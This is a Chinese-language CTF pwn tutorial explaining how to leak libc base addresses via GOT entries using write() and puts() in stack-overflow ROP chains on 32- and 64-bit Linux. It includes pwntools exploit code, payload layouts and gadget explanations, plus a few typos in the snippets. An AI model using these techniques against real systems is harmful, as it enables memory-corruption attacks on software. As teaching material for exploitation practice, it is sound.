目录
在解pwn题的时候,如果程序中没有可以获得shell的函数,通常会通过got表中调用函数来获取libc基址,然后通过libc获取要用的system函数和binsh字符。
使用Write()泄露函数实际地址
-
头文件:
#include <unistd.h>
-
定义函数:
ssize_t write (int fd, const void * buf, size_t count);
-
**函数说明:write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动.**write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。
- 第一个参数fd=1:标准输出 STDOUT
-
返回值:如果顺利write()会返回实际写入的字节数. 当有错误发生时则返回-1, 错误代码存入errno 中.
-
Payload:‘a’ * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count
from pwn import * elf = ELF('./elf_file') def leak(addr): payload = b'' payload += b'a' * 0x88 # 栈的大小 payload += b'a' * 0x4 # ebp payload += p32(write_plt) # write地址 payload += p32(main_addr) # 返回地址 payload += p32(1) # 第一个参数 fd payload += p32(addr) # 第二个参数 buf 通常可以为write_got payload += p32(4) # 第三个参数 size conn.sendlineafter(b'Input:\n',payload) content = conn.recv()[:4] print("%#x -> %s" %(addr, binascii.b2a_hex((content or '')))) return content d = DynELF(leak, elf = elf) system_addr = d.lookup('__libc_system', 'libc') log.success("system:"+hex(system_addr))
使用Puts()泄露函数实际地址
-
头文件:
#include<stdio.h>
-
定义函数:
int puts(const char *string);
-
函数说明: puts()函数只能够输出字符串,以’\0’来确定字符串的结尾。
-
Payload:
payload = b'' payload += b'a' * 0x # 栈的大小 payload += p64(0) # ebp payload += p64(pop_rdi) # 给puts()函数赋值 payload += p64(addr) # leak函数的参数addr 可以为puts_got payload += p64(puts_plt) # puts函数地址
为什么利用write()
和puts()
函数来获取libc基址时,要泄露got表中函数的地址?
通过学习GOT和PLT的知识,了解到当函数被调用过之后,GOT表中存放的函数地址就是函数的实际地址。而这个地址是通过以下方式确定的
函
数
的
实
际
地
址
=
l
i
b
c
基
址
+
函
数
在
l
i
b
c
中
偏
移
量
函数的实际地址 = libc基址 + 函数在libc中偏移量
函数的实际地址=libc基址+函数在libc中偏移量
因此利用GOT泄露的函数实际地址,和函数在libc中的偏移量就可以计算出libc的基址。
如何获取函数在libc中的偏移量呢?
这里可能有两种情况,一种是libc已知,一种是libc未知。
libc已知
libc已知的情况,可以通过反编译libc获取地址。如下所示,利用radare分析libc文件,可以获取libc中write的偏移地址是0x000d43c0
[0x000187c0]> afl | grep write
0x00063880 22 406 -> 395 sym._IO_wdo_write
0x000d43c0 5 101 sym.__write
也可以通过pwntools的ELF类,加载libc文件来获取目标函数的偏移地址。
libc= ELF('./libc_32.so.6')
libc_write_offset = libc.sym['write']
libc未知
libc未知的情况下,需要确定libc的版本号。同一个版本的libc对应的函数的实际地址是一样的,因此通过收集所有libc库的实际函数的地址,就利用泄露的函数的实际地址确定libc版本,从而进一步获取libc中函数的偏移地址。
pwn中可以使用LibSearcher库
from LibcSearcher import *
...
# leak是使用write或put进行地址泄露的函数
write = leak(write_got)
libc = LibcSearcher('write', write)
libcbase = write - libc.dump('write')
为什么write和putS在泄露基址的时候是这样构造payload?
根据前面的分析,我们知道我们要泄露的是GOT表的地址,需要利用WRITE和PUTS输出数据的能力。
假设要泄露的是函数func
的地址,我们需要构造write(1, func_got_addr, 4)
或者puts(func_got_addr)
32位Linux
32位Linux是用栈传递参数的,如果将write(1, func_got_addr, 4)
编译成汇编,大概的运行流程如下
push 4
lea rax, [func_got_addr]
push rax
push 1
call write
我们知道栈是先进后出的,因此在写payload的时候需要将这个过程反过来,就变成了如下所示
payload = padding # 栈填充字段
paylaod += ebp # callee的ebp
payload += write_plt地址
payload += write运行后返回地址
payload += write的第一个参数_1
payload += write的第二个参数_func_got_addr
payload += write的第三个参数_4
同样的,如果是用puts的话payload只需要传入一个参数
payload = padding # 栈填充字段
paylaod += ebp # callee的ebp
payload += puts调用地址
payload += puts运行后返回地址
payload += puts的参数_func_got_addr
64位Linux
64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的。
lea rdi, [func_got_addr]
call puts
这里不是使用栈,因此在构造payload的时候需要按顺序构造调用链。我们需要把要泄露的地址func_got_addr放到rdi寄存器中。如何做到呢?我们先来分析学习一下puts的payload
payload = b''
payload += b'a' * 0xN # 栈的大小
payload += p64(0) # ebp
payload += p64(pop_rdi) # 给puts()函数赋值
payload += p64(addr) # 要泄露的函数的地址func_got_addr
payload += p64(puts_plt) # puts函数地址
payload发送后,当执行到预设返回地址时,栈中的情况如下所示
sp ------- | pop_rdi的地址 |
| func_got_addr|
| puts_plt地址 |
此时程序跳转到pop rdi的位置执行,
pop rdi
ret
而栈指针出栈后,将下移一步。
| pop_rdi的地址 |
sp ------- | func_got_addr|
| puts_plt地址 |
程序接下来执行pop rdi,将栈指针当前所指弹出,存入rdi中。这样一来,成功将func_got_addr放入了rdi中。执行后sp继续下移一帧,指向了puts_plt地址
| pop_rdi的地址 |
| func_got_addr|
sp ------- | puts_plt地址 |
下一步,程序将执行ret。ret相当于执行了pop ip
,将当前栈指针指向的内存地址的内容存入ip寄存器中。因此puts_plt的地址将被加载到指令寄存器里,等待执行。
到此为止即完成puts(func_got_addr)
的调用。
从这里也可以学习到gadget的构造方式,pop reg
后紧跟要放入reg
中的数据,即可成功给reg
赋值。
利用上面学习到的方式,下面尝试构造利用write进行泄露的payload。我们希望构成如下的调用链
mov rdx, 4
lea rsi, [func_got_addr]
mov rdi, 1
call write
payload = padding # 填充栈
payload += p64(0) # rbp
payload += p64(pop_rdx) + p64(0x8)
payload += p64(pop_rsi) + p64(func_got_addr)
payload += p64(pop_rdi) + p64(0x1)
payload += p64(write_plt)
当然直接找到下面三个gadget,是一种理想情况
pop rdx; ret
pop rsi; ret
pop rdi; ret
大多数情况找不到这么完美的gadget的,这是就需要使用万能gadget来构造调用链,这部分内容以后再来学习。